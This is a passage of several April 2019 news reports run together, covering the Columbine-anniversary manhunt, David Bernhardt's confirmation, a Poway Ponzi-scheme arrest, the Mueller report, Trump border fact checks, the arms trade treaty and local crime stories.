reopened their doors with heightened security measures. Events planned to mark the anniversary of the 1999 Columbine attack will go on as scheduled throughout the week, starting with a church service Thursday night and culminating with a ceremony near the school on Saturday. Two teenagers attacked Columbine on April 20, 1999, killing 12 classmates and a teacher before taking their own lives. They have inspired cult-like admirers, some of whom committed other mass shootings over the decades. A growing "no notoriety" movement has urged news organizations to avoid naming the perpetrators of mass shootings to deprive them of the notoriety they seek. The details of Pais' travel from Florida to Colorado began to emerge Wednesday along with some classmates' confusion about her involvement. The Miami Beach High School student dressed in black and kept mostly to herself, said Adam Charni, a senior at the school. He said he was "baffled" to learn Pais was the person authorities in Colorado were seeking. Another classmate, 17-year-old Drew Burnstine, described Pais as quiet and smart. Dean Phillips, FBI agent in charge in Denver, said Pais had made troubling remarks to others about her "infatuation" with the assault at Columbine and its anniversary. He did not elaborate. Investigators will try to learn more from Pais' social media and other online activity, largely to ensure that she had no accessories or accomplices, Phillips said. He confirmed the material being scrutinized includes a blog containing hand-written journal entries that occasionally feature sketches of guns or people holding large firearms. In Pais' hometown of Surfside, Police Chief Julio Yero asked that the family be given "privacy and a little time to grieve." Pais' parents had reported her missing on Monday night, police said. "This family contributed greatly to this investigation from the very onset," Yero said. "They provided valuable information that led us to Colorado and a lot of things that assisted in preventing maybe more loss of life." Pais had purchased three one-way tickets to Denver on three consecutive days. She arrived Monday night and went directly to a gun store, where she bought a shotgun, authorities said. They said she did not threaten a specific school. Still, Columbine and more than 20 other schools outside Denver locked their doors for nearly three hours Tuesday afternoon, and some canceled or moved evening activities inside. "We're used to threats, frankly, at Columbine," John McDonald, security chief for the Jefferson County school system, said when the manhunt was over. "This one felt different. It was different. It certainly had our attention." McDonald described Pais' trip as a "pilgrimage" to Columbine, though she is not believed to have been on the campus. The threats and response added an emotional burden for many with ties to the Columbine community ahead of the anniversary. Frank DeAngelis, Columbine's principal at the time of the shooting, said he was on campus Tuesday when the threat prompted the locking of the doors. He immediately went to check on several staff members who still work there 20 years after the attack. "The support was so great," he said. "Everybody came together." Denver-area parents faced the difficult job of explaining to their children without scaring them why they had the day off school. "This is definitely a challenge in their generation, and watching my kids learn how to navigate this is really hard. It is really heartbreaking," said Suzanne Kerns of suburban Arvada, whose children are 8 and 15. Kerns said she was angry about how easy it was for someone reported missing to come from out of state and buy a gun. Jefferson County Sheriff Jeff Shrader said the sale of the shotgun apparently followed the state's legal process. Out-of-state residents who are at least 18 can buy shotguns in Colorado. Customers must provide fingerprints and pass a criminal background check. Pais' body was found off a trail not far from the base of Mount Evans, a recreation area about 60 miles southwest of Denver, authorities said. She used the weapon she bought, Phillips said. Associated Press writers Ellis Rua, James Anderson and Thomas Peipert contributed to this report. The Senate on Thursday confirmed acting Interior Secretary David Bernhardt to lead the department on a permanent basis, despite complaints by Democrats that the former oil and gas lobbyist has used his federal position to benefit former industry clients. Senators voted 56-41 to approve Bernhardt's nomination to oversee more than 500 million acres of public lands and other resources, including national parks, monuments and wildlife refuges. He succeeds Ryan Zinke, who resigned in January amid a series of ethics investigations. Bernhardt represented energy and agricultural interests until President Donald Trump picked him in April 2017 to be deputy secretary. Bernhardt, who was confirmed to the No. 2 position in July 2017, says he has complied with all ethics laws and rules. But Democrats and environmental groups accuse him of using his federal post to shape regulations and legislation in favor of oil and gas interests and other former clients. "The Zinke ethics hurricane was bad enough. America should not be harmed again by a Bernhardt ethical typhoon," said Sen. Ron Wyden, D-Ore. Citing figures from the Office of Government Ethics, Wyden said at least 27 former clients representing the oil and gas industry, coal, water districts and agriculture pose "unlimited numbers of conflicts of interest" for Bernhardt. "The interior secretary is supposed to be running (the department) for the benefit of the public, not for special interests," Wyden said. Wyden and other Democrats said Bernhardt has taken actions to weaken the Endangered Species Act, including erosion of protections for a California fish species long targeted by a former client, the Westlands Water District, one of the largest and most politically powerful water utilities in the country. Critics also say Bernhardt has acted to ease regulations holding oil companies accountable for spills and increased drilling and mining access on millions of acres of public land used by the sage grouse, a threatened bird species. Sen. Lisa Murkowski, an Alaska Republican who leads the Senate Energy and Natural Resources Committee, said Bernhardt, 49, has the experience and expertise needed to lead the department. The Colorado native worked at the Interior Department for eight years under President George W. Bush, including as the department's top lawyer. "He is from the West, he has great familiarity with the issues that will come before him and he has proven that he can ably lead the department," Murkowski said. She said Bernhardt "has proven to be a strong partner not only for Alaska, but states all across the country." She linked ethics allegations against Bernhardt to unspecified, "pretty well-funded groups that are working very hard and very energetically against his nomination." Three Democrats Sens. Martin Heinrich of New Mexico, Joe Manchin of West Virginia, and Kyrsten Sinema of Arizona voted for Bernhardt, as did independent Sen. Angus King of Maine, who caucuses with Democrats. Democrats and environmental groups also criticized Bernhardt for failing to stand up to Trump on his proposal to drastically expand offshore drilling along the East and West Coasts, including off the coast of Florida, where a moratorium on offshore drilling expires in 2022. Florida Republican Sens. Marco Rubio and Rick Scott voted in favor of Bernhardt after receiving assurances from him and other administration officials that Florida would be excluded from drilling proposals. Rubio said in a statement that the department cannot legally take Florida off the table until public comments are received. But, he said, "I am confident that when all is said and done the ban on oil drilling off of Florida's coasts will remain in place." Senate Democratic leader Chuck Schumer of New York said Bernhardt's refusal to rule out offshore drilling in Florida "should be a wake-up call to my colleagues all up and down the coasts Atlantic, Pacific, Gulf," that offshore drilling is a possibility despite bipartisan opposition. "It is hard to imagine someone whose background is so at odds with the department's mission as Mr. Bernhardt," Schumer said. "President Trump, for all his talk of draining the swamp, wants to add yet another Washington swamp creature lobbyist to his cabinet." Kieran Suckling, executive director of the Arizona-based Center for Biological Diversity, said Bernhardt "will be even worse than Ryan Zinke." Bernhardt "has spent decades scheming to undercut protections for wildlife and public lands across the country," Suckling said. His confirmation "puts him in the perfect position to turn those nightmarish dreams into reality." But Randall Luthi, president of the National Ocean Industries Association, said Bernhardt's "unparalleled depth of experience and knowledge of energy and conservation policies will serve our nation's public lands and resources well." Sheriffs detectives arrested a Poway man accused of running an investment scam that allegedly stole millions of dollars from at least 35 local investors. Christopher Dougherty, 46, was arrested Thursday morning for multiple felonies including grand theft, elder abuse, and securities fraud, according to Sgt.Karl Miller with the San Diego County Sheriffs Department Financial Crimes Unit. As of Thursday afternoon, Dougherty was in custody at the county jail, with bail set at $5 million. If his lips were moving, hes lying, Sharon Taylor said about Dougherty. Taylor and her husband told NBC 7 Investigates that Dougherty misspent a significant portion of their life savings totaling $340,000. It was part of our retirement, and also money from the refinancing of our house, Taylor said. Hes never been able to tell us where our money is. Taylor said Dougherty once told her the couples money was invested in a trucking business. But it wasnt in a trucking business, and now, we just dont know where it is." Sgt. Miller said the Sheriffs Department, District Attorneys office, SEC, and the California Department of Insurance have been investigating Dougherty since January. Court records reviewed by NBC 7 Investigates allege that Dougherty ran a textbook example of a Ponzi Scheme that used "new investment money to pay existing investors" and created the "false impression" that Doughertys clients were making money on their investment. Dougherty told his clients their money was invested in various local businesses, including a 100-acre cattle ranch in Alpine. In response to questions about Doughertys arrest, a spokesperson for District Attorney Summer Stephan confirmed Thursday that an arrest warrant was executed this morning as part of a large-scale, ongoing fraud investigation. The D.A.s spokesperson said more details about the arrest and be released on Friday. NBC 7 Investigates reporter Mari Payton explains why Christopher Dougherty no longer has control over the funds he allegedly obtained through a Ponzi scheme. NBC 7 Investigates first reported the allegations against Dougherty in March, after 11 of the 35 investors said they have each lost tens to hundreds of thousands in what Dougherty touted as an investment opportunity. Dougherty filed for bankruptcy in November and earlier this month, a judge stripped Dougherty of control of those investment funds and other assets. The trustee assigned to Doughertys case said this month that more victims could come forward in this case. At a chapter seven hearing to go over Dougherty's assets, investors, including the Taylors, said they've lost hope they will see their money back. "Its just gone, its gone, Dougherty and his attorneys have not responded to NBC 7s request for comment. But at an April 4 bankruptcy court proceeding, Doughertys attorney told a judge his clients financial status is not as dire as portrayed. And in his response to an investor lawsuit, Dougherty denied all allegations of investor fraud. The wife of Navy SEAL Chief Edward Gallagher spoke out about the war crime charges her husband is facing days after a New York Times piece detailed new allegations against him. Chief Gallagher, who faces court-martial for the death of a young ISIS fighter, has recently been accused of additional war crimes related to the 2010 shooting death of a civilian in Afghanistan, according to the New York Times. He was recently moved from the brig at MCAS Miramar to Naval Medical Center San Diego after President Donald Trump intervened. Gallaghers family is angry about the allegations, and has vowed they won't stop fighting justice. Andrea Gallagher, his wife of 12 years and mother to his three children, says she has complete faith in her husband. The truth has always been our best defense. We said from day one, that these allegations are shameless, Andrea said. Chief Gallagher is facing life without parole for the death of the ISIS fighter in Iraq. He is accused of posing for photos with the fighters severed head during a reenlistment ceremony. The Navy says it will present the photos at trial. The latest accusations stemming from the incident in Afghanistan, first reported in the New York Times, were detailed in a 439-page document leaked to the newspaper. Gallaghers wife is accusing prosecutors of leaking the misinformation to the media, and says that reports from the Navy Times hold the truth -- that prosecutors are in fact withholding evidence that would clear Gallagher of the war crime allegations. There is all types of evidence now. That there is prosecutorial misconduct they have been withholding exculpatory evidence, Andrea Gallagher said. Chief Gallagher has a hearing coming up on April 30, and his court-martial is scheduled to begin May 28. NBC 7 learned that the Navy also has NCIS testimony from fellow SEALS claiming Gallagher shot Iraqi civilians on two occasions. Also included in the document leaked to the Times are allegations that SEAL Team leadership discouraged SEALS from coming forward to report such incidents. He is not a monster, Gallaghers brother Sean said. Sean has been fighting for his big brother in Washington D.C. and was instrumental in urging President Trump to move him out of the brig. He is not any of these things, he is a terrific man. If you met him, he is a wonderful storyteller, he is just a good person, he is the best of us. He is a person who deserves this the least, Sean said. Sean has a 6-week-old son at home, who he plans for his brother to meet. There is no way in hell liars keep a hero uncle from my boys. My brother will teach my sons to swim. He will be the role model that he is. I will never stop fighting for that, he said. Andrea said the family has worked hard to expose the truth and hopes people will start to come around. People will start to see what's happened here is a travesty of justice, she said. Chief Gallaghers family is raising money to help cover his attorney fees. His family worries that his case is dividing the SEAL community. Those who support Gallagher, a decorated Chief who has served 20 years in the Navy, will be at a silent auction planned for Friday in San Diego. A Poway man, accused of defrauding more than 50 people out of millions of dollars, is expected to face a judge Friday afternoon in San Diego Superior Court. NBC 7 Investigates broke the story on March 22 concerning Christopher Dougherty who several investors say offered an investment opportunity in an organic beef ranch in Alpine as well as housing projects and a marijuana cultivation plan as another solid investment. However, as NBC 7 Investigates uncovered, investors were still waiting years later for any return on millions they invested with Dougherty. District Attorney Summer Stephan announced an 82-count criminal complaint Friday against an unlicensed Poway investment advisor accused of running "a classic Ponzi scheme" that defrauded 31 families of nearly $8 million. Christopher Dougherty, 46, faces 35 years in state prison if convicted of multiple counts of grand theft, fraud and financial elder abuse. D.A. Stephan said the case against Dougherty was the result of an intense investigative effort by her office, the San Diego County Sheriff's Department, the state Department of Insurance, the federal Securities and Exchange Commission, and other law enforcement agencies. "The defendant stole millions of dollars from trusting families and senior citizens," Stephan said. "These aren't rich investors. They're people who worked hard and trusted their life savings with someone who preyed upon their vulnerabilities." NBC 7 Rory Devine reports on the arrest of Christopher Dougherty and the case filed against him by local prosecutors. "Dougherty's criminal enterprise is callous and indefensible," said Insurance Commissioner Ricardo Lara. "Crimes against the elderly are especially reprehensible." The criminal complaint against Dougherty includes details about his alleged financial scam that were documented in a series of recent reports by NBC 7 Investigates. Prosecutors confirmed that Dougherty used money from new investors to pay existing investors who demanded some or all of the cash back. That alleged Ponzi scheme eventually collapsed, and Dougherty filed for bankruptcy protection. Investigators also said Dougherty used investor funds for personal expenses, including a home remodel, travel, college tuition and large cash withdrawals. Brian Lee Taylor, who with his wife lost $340,000 to Dougherty, said he hopes they'll get some of that money back. "But if I don't get a penny back, I hope he goes to jail," Taylor told NBC 7 Investigates. "He's got to be tried criminally because of what he's done. This is criminal." Authorities confirmed that Dougherty met some of the victims when he was designated as an "investment advisor" for the employees of several local school districts, including the Sweetwater Union High School District and the Imperial and El Centro Unified School Districts. Dougherty made his first court appearance Friday afternoon, three hours after authorities announced the charges against him. He was transported to the courthouse from county jail, where he's being held on $5 million bail. Dougherty was represented by a public defender who entered not guilty pleas to the charges on Dougherty's behalf. He faces a preliminary hearing in May. More details about his alleged scam will be revealed at that week-long public hearing. A Poway man accused of stealing millions of dollars in savings from dozens of people in San Diego County is in jail now being held on five million dollars bail. NBC 7s Rory Devine has more. The district attorney's office has identified 26 other possible victims. Investigators urged anyone who believes they have been victimized by Dougherty to contact the state Department of Insurance at 858-693-7100. Prosecutors said Dougherty exploited the trusting relationship he developed with long-standing clients by persuading them to cash out of conventional investments and move their money into his private investments, including a 100-acre "organic" cattle ranch in Alpine, that did not generate any real profit for investors. District Attorney Stephan urged investors to watch for the warning signs of a Ponzi scheme, including: Lucrative, above-average investment returns with little or no risk Unregistered investments Unlicensed sellers Secretive and/or complex investment strategies Difficulty receiving payments from an investment advisor "Increasingly, we are uncovering complex financial scams that target seniors and other vulnerable California communities and consumers," said Insurance Commissioner Lara. To Donald Trump, the start of special counsel Robert Mueller's investigation looked alarmingly like the end of his presidency. So he tried to stop it. His months-long effort pushed the boundaries of presidential powers and the law, revealing a commander in chief consumed by self-interest and intent on having his top lieutenants lie or obfuscate on his behalf. The fact that many refused to do so may have helped save Trump from being charged with obstructing justice. Those advisers effectively served as the guardrails in a White House that often seems to have none. A White House counsel who told the president he would rather resign than oust Mueller. A senior West Wing aide who quietly ignored a request to pass messages to the attorney general, who had already recused himself from the investigation. "The incidents were often carried out through one-on-one meetings in which the president sought to use his official power outside of usual channels," Mueller wrote in his redacted 448-page report. The episodes detailed by the special counsel paint a damning portrait of a president consumed by the investigation. Even after more than two years of revelations about Trump's willingness to lie or press others to do so, Mueller's report put into sharp focus the president's disregard for governing norms and his willingness to challenge both legal and political limits. Trump and his advisers can herald the fact that two years of investigation ended without criminal charges for the president, not only on obstruction but also on criminal conspiracy with Russia to help him win the 2016 election. Though numerous people with ties to Trump including former national security adviser Michael Flynn and ex-campaign chairman Paul Manafort did plead guilty to crimes, no Americans were indicted for colluding with Moscow. "His greatest rebuttal will be he's in office, he's going to remain in office and he'll get re-elected because the Democrats have nothing," Kellyanne Conway, a senior White House adviser, said of the president. Indeed, the Democrats' next steps are unclear. Some lawmakers will likely continue to press for impeachment proceedings, though party leaders are skeptical of that approach. House Judiciary Chairman Jerrold Nadler has requested that Mueller testify before his committee within weeks and plans to subpoena for the full report and underlying evidence. Yet the end of Mueller's investigation did more than answer questions about whether Trump and his associates committed crimes. The probe underscored just how far Trump has gone in pushing the limits of the presidency and encouraging others to help him do so. Rep. Adam Schiff, Democratic chair of the House intelligence committee, said that while Trump's actions may not have been criminal, they were "dishonest, unethical, immoral and unpatriotic." Trump's actions were in line with his behavior as a businessman, when he employed a team of lawyers and fixers to protect him from legal trouble. One of those longtime confidants, lawyer Michael Cohen, was brought down in an investigation stemming from Mueller's probe, centering on hush money payments he made during the 2016 campaign to women who alleged sexual relationships with Trump. In other facets of his administration, Trump has also pressed legal bounds. He has repeatedly directed immigration advisers to take actions they deemed illegal, including blocking all migrants from seeking asylum. When it became clear in recent weeks that those advisers would not follow his orders, he ordered an overhaul of the top echelons of the Department of Homeland Security. There were clear echoes of that behavior throughout Mueller's report. The most startling episode came in June 2017, when Trump directed White House Counsel Don McGahn to call Deputy Attorney General Rod Rosenstein, who oversaw the probe, and say that Mueller must be ousted because he had conflicts of interest. McGahn refused deciding he would rather resign than trigger a potential constitutional crisis. Two days later, the president tried another avenue to alter the investigation. During a meeting with former campaign manager Corey Lewandowski, he dictated a message for Lewandowski to relay to then-Attorney General Jeff Sessions. Though Sessions had already recused himself from the investigation, Trump was ordering him to publicly call the probe "very unfair" to the president, declare Trump did nothing wrong and say that Mueller should limit his probe to "investigating election meddling for future elections." Lewandowski didn't want to deliver the message, according to Mueller, so he asked senior White House official Rick Dearborn to do so. Dearborn was uncomfortable with the request, Mueller writes, and did not follow through. Most of the advisers who blocked Trump's requests have since left his administration. Giving himself credit for tough diplomacy, President Donald Trump is describing a burst of activity by Mexican authorities to keep Central American migrants from getting to the U.S. border. That's an apparent mirage as Trump retreats from his latest threat to seal off the U.S. from Mexico. Trump was wrong when he said last week that Mexico was doing "NOTHING" about migrants coming north. It markedly tightened migration controls during the Obama administration and detained over 30,000 foreigners in the first three months of this year. And it's not evident now that Mexico has suddenly cracked down as a result of his threat, "apprehending everybody" and making "absolutely terrific progress" in just a matter of days, as Trump put it Friday. Mexico's apprehensions of foreigners have not surged. During his visit to the border in Southern California on Friday, Trump denounced a landmark immigration case he blamed on "Judge Flores, whoever you may be." The case in question was named for Jenny Flores, a migrant teenager from El Salvador in the 1980s, not a judge. Trump's recent statements on border matters and how they compare with the facts: MEXICO TRUMP, on why he is pulling back on sealing the border imminently: "Because Mexico has been absolutely terrific for the last four days. They're apprehending everybody. Yesterday they apprehended 1,400 people. The day before was 1,000. And if they apprehend people at their southern border where they don't have to walk through, that's a big home run. We can handle it from there. It's really good. ... Mexico, for the last four days, it's never happened like that in 35 years." remarks to reporters Friday. TRUMP: "Mexico has brought people back, they've told people you can't come in. And that's happened really, they've done, as I understand it, over 1,000 today, over 1,000 people yesterday, over 1,000 people the day before that. Before that they never did anything." remarks to reporters Thursday. THE FACTS: This depiction of Mexico going from strikeout to home run is inaccurate at both ends. Mexico reports that its interception and detention of migrants from the south are "about average" in recent months. Over the first three days of April, it apprehended 1,259 foreigners not 1,000 or more a day, as Trump claimed. "There is no very substantive change," Mexico's foreign secretary, Marcelo Ebrard, said this week. "There has not been a drastic change." "I don't know what (Trump) was referring to," he added. Mexico is requiring migrants to register with authorities, but that's been the case since President Andres Manuel Lopez Obrador took office Dec. 1, Ebrard said. "What Mexico is doing as far as the review of the southern border well, it's the same thing it has been doing since this government began." On Thursday, Mexico's ambassador to the U.S., Martha Barcena, told The Associated Press her country is working to make its own border "more orderly" but "migration will never be stopped." Mexico took a substantial step in 2014, implementing a "Southern Border Plan" that established checkpoints and raids to discourage migrants from riding trains or buses from Guatemala. Its detention of foreigners, almost all Central Americans, surged to 198,141 over the next year, from 127,149. Last year, it detained 138,612. The White House has refused to substantiate Trump's claim about Mexico's migrant apprehensions. Secretary of State Mike Pompeo on Friday credited Mexico with the "will" to help stem migration, but he did not cite results. Even as Trump claimed a Mexican crackdown, Pompeo said the U.S. needs to see action from Mexico, telling Fox News that it's "one thing to talk about it." Trump has abandoned his vow to shut the border imminently. He now says that if Mexico does not continue cooperating on migrants, he will try to put heavy duties on autos from Mexico and revive his border-closure threat if that doesn't work. ___ THE FLORES SETTLEMENT TRUMP: "The Flores decision is a disaster, I have to tell you. Judge Flores, whoever you may be, that decision is a disaster for our country, a disaster." remarks at a meeting with local officials in Southern California. THE FACTS: There's no Judge Flores involved. Jenny Flores , a 15-year-old El Salvador native, was held in what her advocates said were substandard conditions, contending she was strip-searched in custody and housed with men. They launched a class-action lawsuit on behalf of migrant children in the country illegally. Her mother was a housekeeper in the U.S. who feared deportation if she picked up her daughter. The case worked its way to the Supreme Court, which sided with the government and against the girl's advocates. But the case gave rise to an agreement in 1997 setting conditions for the detention of migrant children and the codifying of those conditions in law a decade later. It generally bars the government from keeping children in immigration detention for more than 20 days and guides how they are to be treated. Russias efforts to influence American public opinion are not confined only to periods around elections but are a 365-days-a-year threat, FBI Director Christopher Wray said Friday. The FBI chief said Russias campaign consists of constant use of social media, with "fake news, propaganda, false personas, et cetera, to spin us up, pit us against each other, sow divisiveness and discord, and undermine Americans' faith in democracy, NBC News reported. In an appearance before the Council on Foreign Relations in Washington, Wray said social media companies "have made enormous strides" in identifying and shutting down Russia's social media efforts. In a largely symbolic gesture to a group that helped him win the White House, President Donald Trump said Friday he is pulling the U.S. back from an international agreement on the arms trade, telling the National Rifle Association the treaty is "badly misguided." Trump made the announcement at the NRA's annual convention, where he vowed to fight for gun rights and implored members of the nation's largest pro-gun group struggling to maintain its influence to rally behind his re-election bid. "It's under assault," he said of the constitutional right to bear arms. "But not while we're here." With pro-gun legislation largely stalled in Congress and few deliverables during Trump's term so far, the president told the group that he would be revoking the United States' status as a signatory of the U.N. Arms Trade Treaty, which regulates the multibillion-dollar global arms trade in conventional weapons, from small arms to battle tanks, combat aircraft and warships. President Barack Obama signed the pact, which has long been opposed by the NRA, in 2013. But it has never been ratified by U.S. lawmakers. "Under my administration, we will never surrender American sovereignty to anyone," Trump said, before signing a document on stage directing the Senate to halt the ratification process. "We will never allow foreign diplomats to trample on your Second Amendment freedom." "I hope you're happy," he told the group, then appeared surprised by the cheers. "I'm impressed," he said. "I didn't think too many of you would really know what it is." His move against the treaty came as Trump sought to excite an organization that was pivotal to his victory in 2016 but, three years later, is limping toward the next election divided and diminished. And it represents just the latest in a series of withdrawals from international pacts and organizations joined by previous administrations, like the Paris climate accord and the Iran nuclear deal. Gun activists had denounced the treaty when it was under negotiation as an infringement of civilian firearm ownership, despite the well-enshrined legal principle that says no treaty can override the Constitution or U.S. laws. The treaty is aimed at cracking down on illicit trading in small arms, thereby curbing violence in some of the most troubled corners of the world. It was the first legally binding treaty to regulate the international trade in conventional arms and was overwhelmingly approved by the 193-member U.N. General Assembly in April 2013. It has been ratified by 101 countries but key arms exporters including Russia and China and major importers such as India and Egypt have given no indication that they will sign it. Advocates of tighter gun restrictions and those who had helped negotiate the treaty denounced Trump's decision Friday. Kris Brown, president of the Brady organization, said will "only embolden terrorists and other dangerous actors around the world." And Rachel Stohl, managing director of the Stimson Center and a consultant to the treaty negotiations, said: "By turning its back on multilateral diplomacy yet again, the United States is disregarding global norms and allowing nefarious actors to trade weapons with impunity." Yet Trump's showy rejection of the agreement from the stage has limited effect because it has been unlikely all along that he would send the treaty to the Senate for ratification. At the United Nations, spokesman Stephane Dujarric called the treaty "a landmark achievement in the efforts to ensure responsibility in international arms transfers" and particularly important at a time of renewed interest in expanding weapons arsenals. Trump's speech came at a troubled time for the gun rights organization, a one-time Republican kingmaker, which has been grappling with infighting, bleeding money and facing a series of investigations into its operating practices, including allegations that covert Russian agents seeking to influence the 2016 election courted its officials and funneled money through the group. As Trump landed in Indianapolis, a judge imposed an 18-month prison term on gun rights activist Maria Butina, an admitted Russian agent who, according to her plea agreement, worked with a former Russian lawmaker to use their contacts in the NRA to pursue back channels to American conservatives during the 2016 presidential campaign. While the group had high hopes for easing gun regulations after pouring hundreds of millions of dollars into 2016 campaigns, much of the legislation the group championed has stalled, due, in part, to a series of mass shootings, including the massacre at a Parkland, Florida, high school that left 17 dead. Adam Winkler, a UCLA law professor and expert on gun policy, allowed that the group had scored some victories under Trump, including the appointment of two Supreme Court justices who may be open to striking down gun laws. But overall, he said, "On the legislative front, the NRA has been frustrated," with priorities like national reciprocity for conceal carry laws and a repeal of the ban on silencers stalled. Instead, Trump introduced a new federal regulation: a ban on bump stocks after a man using the device opened fire on a crowd of concertgoers on the Las Vegas strip, killing 58 people and wounding hundreds. That bothered some members attending the convention, even as many donned "Make America Great Again" hats and cheered Trump loudly. Mike Cook, who works at a shipyard in Alabama, said he's been disappointed that gun rights haven't seen much movement under Trump. The bump stock ban, in particular, upset him because it was done administratively by Trump officials. He's uncertain if the millions spent on Trump's campaign in 2016 were worth it. But, he said, Trump is "better than the alternatives." Associated Press writers Deb Riechmann,Laurie Kellman and Edith Lederer contributed to this report. A movie based on what the New York Times called "The Worst Marriage in Georgetown" will premiere at Tribeca Film Festival Saturday. Christoph Waltz directs and stars in the new movie "Georgetown." Waltz plays a German man known as Ulrich Mott. Vanessa Redgrave stars as his older wife Elsa Brecht and Annette Bening plays Brecht's daughter Amanda. The characters are based on Georgetown socialites Albrecht Muth, 54, and Viola Drath, who hosted dinner parties with highly distinguished guests before their marraige took an infamously tragic turn. Muth killed his 91-year-old wife in 2011. Muth long described his marriage as one of "convenience," saying he courted Drath for her social connections. The two first met in 1982, when Muth was a teenage intern on the Hill and Drath was a respected journalist in her 60s. The two got married in the late '80s, and soon moved into a home in Georgetown. Police have records of potential assaults perpetrated by Muth multiple times throughout the course of their 22-year-long marriage. Muth was only charged with assault once during their marriage. Most famously, Muth told his highbrow contacts in D.C. that he was embedding himself with the Iraqi Army. Iraqi officials at first indulged Muth and the parties he threw for foreign dignitaries, but when he waltzed into the Pentagon offering invitations to an Iraqi Liberation Day event, the Iraqi Embassy told its employees to stay away from Muth. In August 2011, Drath was ruled dead by beating and strangulation. Muth had originally reported the death himself, and after investigators determined foul play was involved, he claimed she was killed by Iranian assassins looking for him. Muth was arrested less than a week after the death of his wife. After his arrest, he went on at least two hunger strikes and attempted to get himself ruled insane to avoid trial. After almost three years of legal proceedings, Muth was finally sentenced to 50 years in jail for killing Drath in 2014. We may not know exactly how or why Stonehenge was built, but new research affords a glimpse of the people who erected Englands iconic stone monument some 5,000 years ago, NBC News reported. The study, which examined the origins of farming in Britain, shows that the people living in the region at the time Stonehenge was built were descended from people who had migrated to the area about 6,000 years ago from present-day Turkey. A paper describing the research an analysis of DNA from the skeletal remains of farmers who lived in England from 6,000 to 4,500 years ago during the Neolithic period doesnt focus on Stonehenge or even mention it. But Selina Brace, an expert in ancient DNA with the Natural History Museum in London and the papers lead author, said it was possible to link the monument to the research as some media outlets were quick to do. She said the research findings indicate that Stonehenge was built not by the earliest Neolithic farmers to arrive in Britain, but by their descendants, people from the same period, just later. What to Know Kawaski Trawick, 32, got locked out of his apartment in the Bronx on the night of April 14; fire officials say he had food cooking on stove There were two 911 calls: Trawick reporting his fears of a fire -- and the building super and a guard saying he was banging on doors The FDNY broke open his door and left; cops arrived 7 minutes later and Trawick ended up shot to death This story was originally published on April 25, 2019 by THE CITY. On the night of April 14, Kawaski Trawick, 32, got locked out of his apartment in a building run by a nonprofit in The Bronx. He had food cooking on the stove, according to the Fire Department. There were dueling 911 calls: a distraught Trawick reporting his fears of a fire and the building superintendent and a security guard saying he was banging on doors, harassing neighbors. The FDNY came and left after breaking open the door of his apartment at 1616 Grand Ave. in Morris Heights. The police arrived seven minutes later an encounter that ended with Trawicks shooting death and with his family asking why he had to die. I dont think they really had to kill my son, I dont think they had to shoot him and shoot him dead like that, his father, Ricky Trawick, told THE CITY in a phone interview from Georgia. How the situation went from a lockout to deadly shooting within minutes was unclear. A Tragic Chronology Police said they arrived at Trawicks apartment door at 11:06 p.m. The two cops on the scene found him wielding a wooden stick and a serrated knife, the NYPD said. After the officers talked with Trawick for less than two minutes, they tasered him, police said. He fell and the officers moved to arrest him. Police said he got up, threatened them and charged. One cop fired his gun four times, hitting Trawick twice. The dance aerobics instructor was declared dead at Bronx Lebanon Hospital at 11:46 p.m. The NYPD said the incident was captured on an officers body camera, but declined to make the footage public Wednesday. The citys Human Resources Administration, which contracts the nonprofit running the supportive housing building, has a confidential incident report describing the nights events but refused to release it. The building where Trawick lived is called Hill House and is operated by Services for the Underserved, which helps people with disabilities, people in poverty and people facing homelessness, according to its website. Services for the UnderServed has been cooperating with the police and we are awaiting the results of their investigation into the incident, Nadia Khasawneh, a spokesperson for the nonprofit wrote in an email. She did not answer questions about Services for the UnderServeds policies for bringing police into their buildings. Answers 'Would Be Nice' A Hill House director and the superintendent guided police to Trawicks floor, the NYPD said. The security guard who twice called police said on a 911 call that Trawick had seemed mentally unstable that day and was possibly intoxicated, according to police. But the 911 calls were not flagged as a response to an emotionally disturbed person, police said, and the guard said on the call she was unaware of any mental health issues in his history. One of the officers knew the building was a supportive housing facility and the other did not, an NYPD official said. Both were trained in crisis intervention, police said. The super had a history of problems with Trawick he previously called police and accused Trawick of harassment, the NYPD said in an initial briefing on the shooting last week. On the night of the shooting, the super told 911 that Trawick had threatened to punch him in the face while banging on his door. Outside Hill House Wednesday, a resident who gave his name as Arnold started to tell THE CITY about the night of April 14, but was quickly commanded inside by an apparent staffer. You know, Im really sad about it, he said before he was cut off. Trawicks father, meanwhile, said answers really would be nice. He went back to his job as a trucker Tuesday hoping it would take his mind off his sons death. They could have handled it in a little different way, he said. This story was originally published by THE CITY, an independent, nonprofit news organization dedicated to hard-hitting reporting that serves the people of New York. Two Massachusetts men are being held without bail after police say they assaulted a disabled man and threatened to eat his dog. Joshua Farias, 37, and Brian Richard Souza, 37, both of Fall River, were arraigned in Fall River District Court on Thursday and charged with assault and battery with a dangerous weapon, assault and battery on a disabled person, and breaking and entering in the daytime for felony. Police said the men were arrested following a disturbance Wednesday afternoon on Eastern Avenue. Upon arrival, officers spoke with a 57-year-old man who said two men, later identified as Farias and Souza, had assaulted him and then fled on foot. The victim said he had been walking with his wife and dog when they were approached by the men. One of them said, "better move that dog or I will kill it and eat it." At that point, the man told his wife to go into their apartment building and when he tried to follow her with their dog, the men followed and began punching him in the head and face. Police said the victim tried defending himself with his cane while yelling for them to leave. When the victim was pushed to the ground by both men, they took his cane and struck him with it while kicking him. They then fled the scene. Police were able to arrest the men a few houses away. Both denied the allegations by the victim. Farias and Souza are due back in court April 30 for dangerousness hearings. Police in Acton, Massachusetts, are looking for a man who has been missing for more than three weeks. According to police, 25-year-old Aaron Zion was last seen leaving his Acton home on April 1. Zion is described as being about 5'10 and 140 pounds with brown hair and brown eyes. Police say Zion has ties to the areas of Chelmsford and Dedham. Anyone with information is asked to call 978-929-7711. Part of Gov. Ned Lamonts proposed budget has some animal advocates say hes barking up the wrong tree. Folks are literally breaking the piggy bank to take care of their pet, Gordan Willard, executive director of the Connecticut Humane Society said. Veterinary care is one of several goods and services to which Lamont wants to apply the states 6.35 percent sales tax. It is one of a bevy of products and services that would see the sales tax applied to them for the first time. We have a budget out there right now, I kind of like the budget I got out there, its honest and its credible, Lamont said on Wednesday. Lamont says the sales tax expansion would bring in $292 million the first year and $500 million the second. But Willard says the tax would be a financial burden to families with pets and could potentially cause them to have to make sacrifices. We would rather have them stay with their family then have to give them up and then we have to find another family makes no sense, Willard said. At the federal level, one of Connecticuts U.S. Senators is looking to keep pet care affordable. Sen. Richard Blumenthal announced a bill Thursday that could help cut costs for pet owners when it comes to their prescriptions. For pet owners like Ginny Lavoie, the cost for pet care can come with a bite. Youre talking anywhere from five to $600 